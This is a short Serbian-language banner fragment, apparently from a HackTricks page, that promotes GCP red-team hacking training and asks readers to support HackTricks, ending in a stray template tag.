Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Podrška HackTricks
{% endhint %}